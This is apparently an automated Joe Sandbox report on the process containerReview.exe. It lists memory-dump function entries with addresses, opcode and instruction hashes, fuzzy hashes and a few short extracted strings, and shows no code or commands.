String ID: N_H
API String ID: 0-3193329873
Opcode ID: 5d51c51da70d3995440bd56e3302df43a726fdd4b4c563b821f3a2243537d338
Instruction ID: af79048cfd54706c28c793be5acd570a73d0199ab0bb1223eda165633a5d7051
Opcode Fuzzy Hash: 5d51c51da70d3995440bd56e3302df43a726fdd4b4c563b821f3a2243537d338
Instruction Fuzzy Hash: A6C2A430E1C95A9FEB98FA2884516B873A2FF94780F5445B9D00ED32C6DF39BC428785

Function 00007FF848E70CFB Relevance: 2.2, Strings: 1, Instructions: 999COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-3193329873
Opcode ID: c2c61f4a2a1cc72da691ad46d29bca158706e8598cf7e508f38e03ce8a595f8e
Instruction ID: 98a5a85b97065e3a021aef6ed2b730a24e107eccdc8aa075271f2f157cc406e0
Opcode Fuzzy Hash: c2c61f4a2a1cc72da691ad46d29bca158706e8598cf7e508f38e03ce8a595f8e
Instruction Fuzzy Hash: 68629131E1CA5A9FEB98FA2884517B8B3E2FF54780F5445B9D00DD3286DF39AC428B45

Function 00007FF848E60D7C Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e670147826a3fe190b3b80290a09bd88971bf19ef0ad88d170458517d1b8c408
Instruction ID: 76e31c3030fcf76f62eb0e99d697cc77b20e624cafb8962eeb8c83e448fec7de
Opcode Fuzzy Hash: e670147826a3fe190b3b80290a09bd88971bf19ef0ad88d170458517d1b8c408
Instruction Fuzzy Hash: D391F471E1DA998FE789EB6888247A9BFE0FB96350F4400BEC04AE72D6DB781405C711

Function 00007FF848E60B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FF848E60B46
!k9, xrefs: 00007FF848E60B4E
c9, xrefs: 00007FF848E60B56

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction ID: ea2171c56bb580886a4ffbd80badf8b0638c16910a09b71096214cd4efb4d34e
Opcode Fuzzy Hash: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction Fuzzy Hash: FA01F22A31D95A8FC7026A3EB4905D87B50EAC6136BC905BBD544CB192E2102C9EC7E0

Function 00007FF848E73A59 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

M, xrefs: 00007FF848E73A76

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 04e3bc488ff383cad87af2c48b25e0e79b7c93357064b3d58fac671219633f57
Instruction ID: 4f1eb89e65152582972edb072ef2b16f4389d8eaa760c4c01715dd6bced38d05
Opcode Fuzzy Hash: 04e3bc488ff383cad87af2c48b25e0e79b7c93357064b3d58fac671219633f57
Instruction Fuzzy Hash: 7EE09B7194E7C48FC71AEA3888694547F60EF6720174A41EEC045CF1A7DA2DCC45C711

Function 00007FF848E608D0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e15bf646551dcca90764154548d1c3d5b8316fd1ec64e946d586830311aa32b
Instruction ID: d26c37081765cb94f398be1a875888d576aedc5b1bfbebb16cc3de6a99b49270
Opcode Fuzzy Hash: 4e15bf646551dcca90764154548d1c3d5b8316fd1ec64e946d586830311aa32b
Instruction Fuzzy Hash: 18415862A4D9652FE708B77CA0992F97781FF853A1F0C45BBD04DCB193CF2868818798

Function 00007FF848E723FB Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c68dc125700adfa7985cf99dd6d98a38d90ac628ade2315930ca8bc8a9355ae
Instruction ID: 06b0b7d2ca8d9503f9751028fce4d3e36e140ee53319ec2712d4f4260c85cc79
Opcode Fuzzy Hash: 2c68dc125700adfa7985cf99dd6d98a38d90ac628ade2315930ca8bc8a9355ae
Instruction Fuzzy Hash: 45311567B489715FC318B7ADF8921F4B750EF812BBB0C8177C288CA093DA14944A87E5

Function 00007FF848E60998 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ba611250e5df5a4cdf22a8342deb5268ca33e2b8385d7cdc6ee3ead8183c696
Instruction ID: 11e907b5f6267dd7cc034b333d7bd88acb3544a57d2cfd563fc75db04ab80c95
Opcode Fuzzy Hash: 5ba611250e5df5a4cdf22a8342deb5268ca33e2b8385d7cdc6ee3ead8183c696
Instruction Fuzzy Hash: A421D621B1DD591FE788B63C545A679B7C6FB993A1F5800BAE40EC32D7DE28AC424384

Function 00007FF848E611A1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e66de6d702061f4268bb9cdde97cceb246a24ae5bd552d47c6cd30a2b21c8e6
Instruction ID: 64f9e2f05e7b32ff0fcbf25e29c2b6eeb4c7a9efd3c2ccf08c21c614fa01c74c
Opcode Fuzzy Hash: 9e66de6d702061f4268bb9cdde97cceb246a24ae5bd552d47c6cd30a2b21c8e6
Instruction Fuzzy Hash: 1D31733090D65A8FDB46FB68C8599B97BF0FF5A350F4505BBC009E72A2DB39A841CB50

Function 00007FF848E74409 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5192b6d7a85f4cdcc71c037f512a3a99059b53ce8b941a2728ec7aa6ba6e4a8d
Instruction ID: 56acbcc58d1372140c8cffdc3b8dc17120e5ea5298a4870967307b48eae84915
Opcode Fuzzy Hash: 5192b6d7a85f4cdcc71c037f512a3a99059b53ce8b941a2728ec7aa6ba6e4a8d
Instruction Fuzzy Hash: 67212131E0CA8A4FE752BB3888581B93BE1FF55354F5902BBC44DC71D2EE38A9468345

Function 00007FF848E60C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975b3b91f0b8ee3079f3f768348a4800bedc7699497a5aca6ddeceef23ecde8d
Instruction ID: d654f3d2f212c9a42c8f9e6bd6cb77ee1a0ef297dba540a75a90104ece9be5c2
Opcode Fuzzy Hash: 975b3b91f0b8ee3079f3f768348a4800bedc7699497a5aca6ddeceef23ecde8d
Instruction Fuzzy Hash: E221EF31A0D699AFE712FB68C8452EC7FA0FF42360F5545BAC044BB1C2DB3829898795

Function 00007FF848E65534 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf92dab81483fa3f90bde477b49eba6285cd17909a4737a030bc344866d149e
Instruction ID: 5a5fb26b5a360e80a853b985bf0c795c75e97f94f7fe8126292690efb4c8a6ba
Opcode Fuzzy Hash: 3bf92dab81483fa3f90bde477b49eba6285cd17909a4737a030bc344866d149e
Instruction Fuzzy Hash: C7113320E1CA1D4EE764BA1898592B872D1FF64350F9001B9D40EF72E3EF387D458649

Function 00007FF848E60C40 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction ID: f014a9776ce4ace1c321e131a013213350cba038f7e64a5605fa89d0002d1555
Opcode Fuzzy Hash: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction Fuzzy Hash: DD01A93190D7989FE702FB68C8402D9BFB0EF42260F1545E6C084EB292D6386A488B94

Function 00007FF848E60C48 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction ID: 5b81689088e1651b8ea27da21b17f62667958134c266d0842065b5076d6c5dd7
Opcode Fuzzy Hash: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction Fuzzy Hash: 4C015A7190D7889FE706EB78C844699BFB0EF42314F1945EAD044EB2A2D6386A48C795

Function 00007FF848E6566A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction ID: d9e9e5e114ba3435dc3cd7457d5a57069b717a1a9f1459f116fc6fd3c0df7d05
Opcode Fuzzy Hash: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction Fuzzy Hash: 63F0313090C91E8EEB64FA14DC486B873A2FF64351F9001B9D44EF7192EF387D958A08

Function 00007FF848E61A46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89c0a82084992239ebafedea8dd5cb1643df795a8e7827523f79678c6f1d6338
Instruction ID: e4f9da7576e16e4a9de2aa740fcf40f7c26e4cea1017c809e4662f17e7e78687
Opcode Fuzzy Hash: 89c0a82084992239ebafedea8dd5cb1643df795a8e7827523f79678c6f1d6338
Instruction Fuzzy Hash: DD011231908918CFCB58DB18D894E99B3F1FB58310F040299D40EE72A5CB35BE80CF85

Function 00007FF848E74027 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdda8043fc52ba83a254331632e0859e0b83ae323da01329bd78cbb66f22daa0
Instruction ID: 1f0864360033987857ff22f2298bec043510baf963aa52f288a1d452ed55e07c
Opcode Fuzzy Hash: bdda8043fc52ba83a254331632e0859e0b83ae323da01329bd78cbb66f22daa0
Instruction Fuzzy Hash: F1F03770E0950A9FEB98EA48D455ABE77A2FB50390F00063ED016D2294EF786A418A84

Function 00007FF848E60C50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction ID: 1d494a934a9f4f92c3d2dbaecd3e8bb8dcd43c5ac94dc5e43bfe9a6d2a606513
Opcode Fuzzy Hash: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction Fuzzy Hash: 40014B7090D7C99FE706FB74884469DBFF0EF06314F1845E6D444EB292DA386A48C745

Function 00007FF848E746F9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction ID: 2c916c2a3778828c11199c0d54d13586963e90439a6b929b231ac04f996f01a9
Opcode Fuzzy Hash: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction Fuzzy Hash: 48F08230A0C95B8FE665BA5C94409BEB291FF44B98F104270D42AD31DAEF38EC1187C8

Function 00007FF848E60B77 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction ID: 0463724105c59fff87dbdcdee3fb92fd12cc528830111bc805b7b8e71b0cb601
Opcode Fuzzy Hash: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction Fuzzy Hash: 9AF0553020DA89CFC742AB3DC8A08D0BF60FF43204B8A00FAC088CB462C3245C5ECB00

Function 00007FF848E6563C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction ID: 44e6ecc7956d6d1cc20c6e6cfc4d34b3b502825c445b06d011b98d177ef14cdb
Opcode Fuzzy Hash: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction Fuzzy Hash: 5BF03030A0C9198EEA64F604DC486B87392FF64390F9011BAD84EF71A3EF387D858648

Function 00007FF848E75318 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction ID: 3775ec26be54088adbc8a92cabb63f1f2129e73afd593a2c5f1023abf952a6f9
Opcode Fuzzy Hash: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction Fuzzy Hash: EED05E30B609094B8F0CB62D8458530B3D1F7AA20ABD45278940BC2281ED25ECCA8B84

Function 00007FF848E724F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e050b8d54ee86617a2a68f3a03fac4af5aa2a852a7c447093bc185dd0ecb348e
Instruction ID: c5ab66f905dab5ce8e664c2ee63ef292b4a7005d8b279b4c03f09e3ad270fe9f
Opcode Fuzzy Hash: e050b8d54ee86617a2a68f3a03fac4af5aa2a852a7c447093bc185dd0ecb348e
Instruction Fuzzy Hash: 14D0A730B6090D4B8B0CB63D8458434F3D2F7AA2167D4527CD41BC3281ED25ECC6CB85

Function 00007FF848E73A70 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FF848E633D1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction ID: cadf967c029e486b9d6c9b0734e6fc60d261c9c85d6428012597e678f49e7799
Opcode Fuzzy Hash: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction Fuzzy Hash: 0FE01A20F0D12A8FF795BA10C8503BD22A1BF85381F9450B9D86DB76E6CF387C818B49

Function 00007FF848E63759 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction ID: 8576958cd4ac830fef12b803800038b9b0a2429590f4631019fefa52e676df46
Opcode Fuzzy Hash: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction Fuzzy Hash: 0BE01211E1C5554EF29DB56C44313B950C1BF98751F884179D41EF32C3DE5C3C400396

Function 00007FF848E74718 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction ID: 11fd52cc99a76da05a4c6e0ed7303f21fdb0b99c6a49702810bd3db6b46b8276
Opcode Fuzzy Hash: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction Fuzzy Hash: 70D09230A1864A8FDB44EE08C880EAA33A1FB48704F204960E92983292DA35FC128B94

Function 00007FF848E606AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction ID: 22c00e277981450ec3cfd80455c7aa1b3eb6fa9d4df6ebc78a5e847680a4518f
Opcode Fuzzy Hash: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction Fuzzy Hash: D6C08C00E5F53B08E445712E14020ACA2017BC42A0FD00032C02C700929EAD30C5034E

Function 00007FF848E60B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction ID: efbce210bacd50ef177f3dfb13d4aceba7f181afd6019f63510de32bdeb12342
Opcode Fuzzy Hash: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction Fuzzy Hash: 39C04C305258098FC944FB6DC98995477A0FB1D215BD60190E40DC7171E66AEC95C745

Function 00007FF848E612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction ID: 66eda309ea09482d7201f089046b183db6eb6a68ed1dc125f00a417f2063d7f1
Opcode Fuzzy Hash: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction Fuzzy Hash: E0C08C309208088FC908FB28C88480433A0FB09200BC10090E008C7170E229ECD0C740

Function 00007FF848E79E2C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction ID: 865005724ea984a9f10bb49a6285fe106a7e2a3011e3fa3f03cccf382a9b41f2
Opcode Fuzzy Hash: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction Fuzzy Hash: C8D0C930C095588FEBA0EB14C840B9972B1BF48341F5001F6900DE3285CB356DC0CF81

Function 00007FF848E657D9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9886f969631b8622db57c62c40443e3f41c75f09569109296586e9b90c744d2c
Instruction ID: 4590d09869e9cbbcc8ff1ce6a4fa223695932fbf36eb935e0cf4fa14607af0b4
Opcode Fuzzy Hash: 9886f969631b8622db57c62c40443e3f41c75f09569109296586e9b90c744d2c
Instruction Fuzzy Hash: 78C08C06F0EC165AE25A6204402027E04029F80B84F844035E01EC22CACF0D2B0102CA

Function 00007FF848E606D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction ID: 11f8d10550346e9f3a4f007398059a370a93a6d624c90b1792530cf415cde2e8
Opcode Fuzzy Hash: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction Fuzzy Hash: E5B01200CAE41F04E408317A094206470417BC4140FC00070D40C70086D9DD3094034A

Analysis Process: containerReview.exePID: 7216, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848E907AE Relevance: 2.5, Strings: 1, Instructions: 1225COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FF848E91BC1

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-3184692415
Opcode ID: 619c40a2f4ba90bef11cfb91b2f7b14a1bcf9b2e3a5b3ea756c8cf9b178184f9
Instruction ID: 9e000794598c021df10299cec044b171d76f6fa92ac8cc269b83eccd0bb71d75
Opcode Fuzzy Hash: 619c40a2f4ba90bef11cfb91b2f7b14a1bcf9b2e3a5b3ea756c8cf9b178184f9
Instruction Fuzzy Hash: 1C82C231E1C95A9FEA98FA6884556B873E2FF98780F4445B9D00DC32C3DF39AC818785

Function 00007FF848E90CFB Relevance: 2.2, Strings: 1, Instructions: 997COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FF848E91BC1

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e90000_containerReview.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-3184692415
Opcode ID: d6996c0bb4fa35702703a28fe19514bc9322f98aaefee57e9bfb1a834cd25cf2
Instruction ID: b2b54cfd999f7f38d55fc948dea031e73fe64c3034864df3b5d4c48de7553b1b
Opcode Fuzzy Hash: d6996c0bb4fa35702703a28fe19514bc9322f98aaefee57e9bfb1a834cd25cf2
Instruction Fuzzy Hash: 9A62A331E1C95A9FEB98FA6884557B973E2FF99380F5441B9D00DC3282DF39AC828745

Function 00007FF848E80D7C Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2407401324.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff848e80000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b863c4254e235fcfc0026a0e9c0e6d25df3b14c2bd85cd2b70b0a003da806e
Instruction ID: 2135f8cf4b1a55ca60437feb3c2925d9bc59e48e5eaa3d4307ce3cc840572dc4
Opcode Fuzzy Hash: e7b863c4254e235fcfc0026a0e9c0e6d25df3b14c2bd85cd2b70b0a003da806e
Instruction Fuzzy Hash: F091D171D6CA9A8FE789EB2888293B97FE2FB56310F4401BAC049D72D6DF791805C750

